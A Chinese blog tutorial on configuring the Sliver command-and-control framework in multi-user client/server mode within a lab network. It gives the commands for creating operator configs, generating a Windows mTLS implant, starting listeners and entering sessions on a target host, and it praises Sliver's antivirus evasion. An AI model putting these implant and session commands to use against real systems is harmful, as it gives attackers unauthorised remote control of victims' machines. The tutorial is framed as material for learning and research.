在前面的一篇文章中,我们讲到了Sliver框架的使用。如果是单用户模式,我们在服务端玩就足够了。但是Sliver是支持C2结构的(即服务端和客户端)。本文我们一起来研究吧!注:本文仅作为学习和研究,请勿非法使用。

Sliver C2

Sliver在设计上是考虑了多用户以及多平台生成相关Shell。

实验环境

  • Sliver Server (192.168.123.23)
  • Sliver Client (192.168.123.74)
  • 靶机 (192.168.123.129)

    配置服务端

    在前面的文章中,我们已经大致了解了服务端的安装和启动。由于网络问题,建议直接下载编译好的文件。

启动服务端

./sliver-server_linux


如果是单用户,到这步已经完成了安装,可以直接在终端执行相关命令。但如果是多client协同则还需要进行下面的步骤。

生成Client配置文件
new-operator --name Dabiaoge --lhost Server服务器IP #新建一个client
multiplayer #启用多用户


这时,会生成客户端的配置文件/root/tool/Dabiaoge_192.168.123.23.cfg,这里我只生成了一个用户,如果有多个用户,修改name的值就行了。需要注意的是,server端默认监听的端口为31337。如果要修改的话 vim ~/.sliver/configs/server.json

Sliver Client安装配置

这里为了方便,我们还是直接用编译好的Client
将刚才服务端生成的配置文件.cfg上传到客户端。

导入配置文件

./sliver-client_linux import /root/tool/Dabiaoge_192.168.123.23.cfg


这样就完成了C/S架构的Sliver安装配置。

生成shell

命令格式如下:

generate --mtls <Server IP> --save ./test.exe --os Windows

命令详解:
--mtls:监听协议(包括http、mtls、grpc )

开启监听

如上一步,我们生成shell所用的监听协议为mtls,故我们要配置mtls类型的监听。
在终端执行命令

mtls

通过输入jobs命令,可以查看目前开启的监听。


默认端口是8888 如果要指定端口,执行命令

mtls -l 9999

查看生成过的shell

implants


运行shell后,server和client端都会得到会话的消息。主要包含session id、外网IP、主机名、平台、时间等等。

会话操作

sessions -i id  #进入会话
sessions -k id  #结束会话


进入会话后,就和msf的控制台一样了。通过help命令,我们可以得到相关的执行参数。

总结

在我看来,Sliver最大的优点在免杀效果要远远胜于其他几个框架。可玩性也比较高,安装简单并跨平台。但是生成的Shell相对来说比较大。

Kali黑客笔记一键关注
Last modification:November 17, 2022
正在沿街乞讨中……